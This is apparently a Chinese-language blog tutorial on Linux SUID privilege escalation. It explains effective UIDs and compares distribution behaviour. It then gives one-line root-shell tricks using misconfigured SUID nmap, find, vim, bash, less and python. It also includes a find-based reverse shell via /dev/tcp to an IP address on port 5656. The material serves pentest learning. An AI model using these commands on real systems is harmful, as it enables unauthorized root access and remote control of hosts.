suid与linux提权
suid文件是什么
suid
即set user id
,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux
下很常见。
比如常用的ping
命令。ping
需要发送ICMP
报文,而这个操作需要发送Raw Socket
。在Linux 2.2
引入CAPABILITIES前,使用Raw Socket
是需要root
权限的(当然不是说引入CAPABILITIES
就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping)
,可以发现其权限是-rwsr-xr-x
,其中有个s
位,这就是suid
:
1 | root@linux:~# ls -al /bin/ping |
设置了s
位的程序在运行时,其Effective UID
将会设置为这个程序的所有者。比如,/bin/ping
这个程序的所有者是root
,它设置了s
位,那么普通用户在运行ping
时其Effective UID
就是0,等同于拥有了root
权限。
这里引入了一个新的概念Effective UID
。Linux进程在运行时有三个UID
:
Real UID
执行该进程的用户实际的UID
,谁通过shell运行就是谁Effective UID
程序实际操作时生效的UID
,一般在进程启动时,直接由Real UID
复制而来;或者是当进程对应的可执行文件的suid
标志位为s
时,为该文件的所属用户/组。这组属性决定了进程访问文件的权限Saved UID
在高权限用户降权后,保留的其原本UID
通常情况运行非suid
权限的进程时,Effective UID
和Real UID
相等,所以普通用户不能写入高权限文件;有suid
权限的程序启动时,Effective UID
就等于二进制文件的所有者,此时Effective UID
就可能和Real UID
不相等了。
所以利用suid
文件进行提权需要2个前提:
- 文件的所有者是 0 号或其他
super user
- 文件拥有
suid
权限
在os
层面目前常见发行版linux
也会对suid
的权限进行限制,具体可以参考p神这篇文章 ,把suid
的提权简单抽象为一个c
代码:
1 | int main(int argc, char* argv[]) { |
编译并赋予suid
权限:
1 | root@linux:/tmp# gcc suid.c -o suid |
在不同的发行版linux
运行之后会有以下输出结果:
Linux发行版 | 输出结果 |
---|---|
Ubuntu 14.04 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) |
Ubuntu 16.04 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Ubuntu 18.04 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
CentOS 6 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
CentOS 8 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Debian 6 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) |
Debian 8 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) |
Kali 2019 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
可见,只在Ubuntu1404
、Debain6
和Debain8
提权成功,具体原因可以参考大佬的分析,对应失败的情况也可以根据具体的版本进行对应的绕过。
脱离os
的细节,还有下面这些应用存在利用suid
提权的场景:Nmap、Vim、find、Bash、More、Less、Nano、cp
接下来就挨个看看
提权场景
Nmap
nmap
是一个经典的端口扫描工具,当目标主机存在版本在2.02-5.21之间的nmap
且os
的版本在上面受影响的范围内或更早就可以尝试使用这种方法进行提权。
1 | nmap -V //查看版本 |
在msf
里面也有现成的模块可以利用:exploit/unix/local/setuid_nmap
在5.2.0之后,nmap
没有了interactive
参数,但是可以通过往自定义脚本里面写命令的方式来让nmap
加载运行
1 | echo 'os.execute("/bin/sh")' > getshell |
find
在linux
中可以使用 find
来查找文件,同时它也有执行命令的能力。因此,如果find
的权限被配置了suid
,那么通过它运行的命令都是以root
权限运行了,find
使用exec
执行命令时需要注意最后的分号才可以:
1 | chen@chen:~$ touch 1sh |
这里可以直接使用 find
进行反弹shell
:
1 | chen@chen:~$ find 1sh -exec bash -i >& /dev/tcp/100.119.200.173/5656 0>&1 \; |
攻击机监听即可获取到shell,如果这里find具有suid权限即可获取到root shell
Vi/Vim
vim
是linux
下常见的文本编辑器,但是如果vim
被配置了suid
权限,那么运行时就会获取高权限进而对只有root
用户才有权限读写的文件进行操作或获取高权限shell
。在vi/vim
中按下esc
再输入一下内容即可获取到root
的shell
:
1 | :set shell=/bin/sh |
Bash
直接使用下面语句就可以打开一个root
权限的bash
1 | chen@chen:~$ bash -p |
More/Less/nano
这里 3 个都是查看文本的工具,利用类似,都是用来读取无权限的文件。
1 | less /etc/passwd |
python/perl/ruby/lua/php/etc
这里是一些第三方语言的配置错误场景,以python
为例:
1 | python -c "import os;os.system('/bin/bash')" |
找suid权限文件
以下命令可以找到正在系统上运行的所有SUID
可执行文件,命令将从 /
目录中查找具有SUID
权限位且属主为root
的文件并输出它们,然后将所有错误重定向到/dev/null
,从而仅列出该用户具有访问权限的那些二进制文件。
1 | find / -user root -perm ``-4000` `-``print` `2``>/dev/null |
总结
上面就是常见通过配置错误的SUID可执行文件进行提权的操作了,可以看到操作十分简单,但是实际场景中运维一般不会这样nc的设置suid权限给可执行文件,再加上不同发行版linux对这种问题的限制,所以实际场景遇到的可能性是极小的,学习学习吧。
参考链接
https://pentestlab.blog/2017/09/25/suid-executables/
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html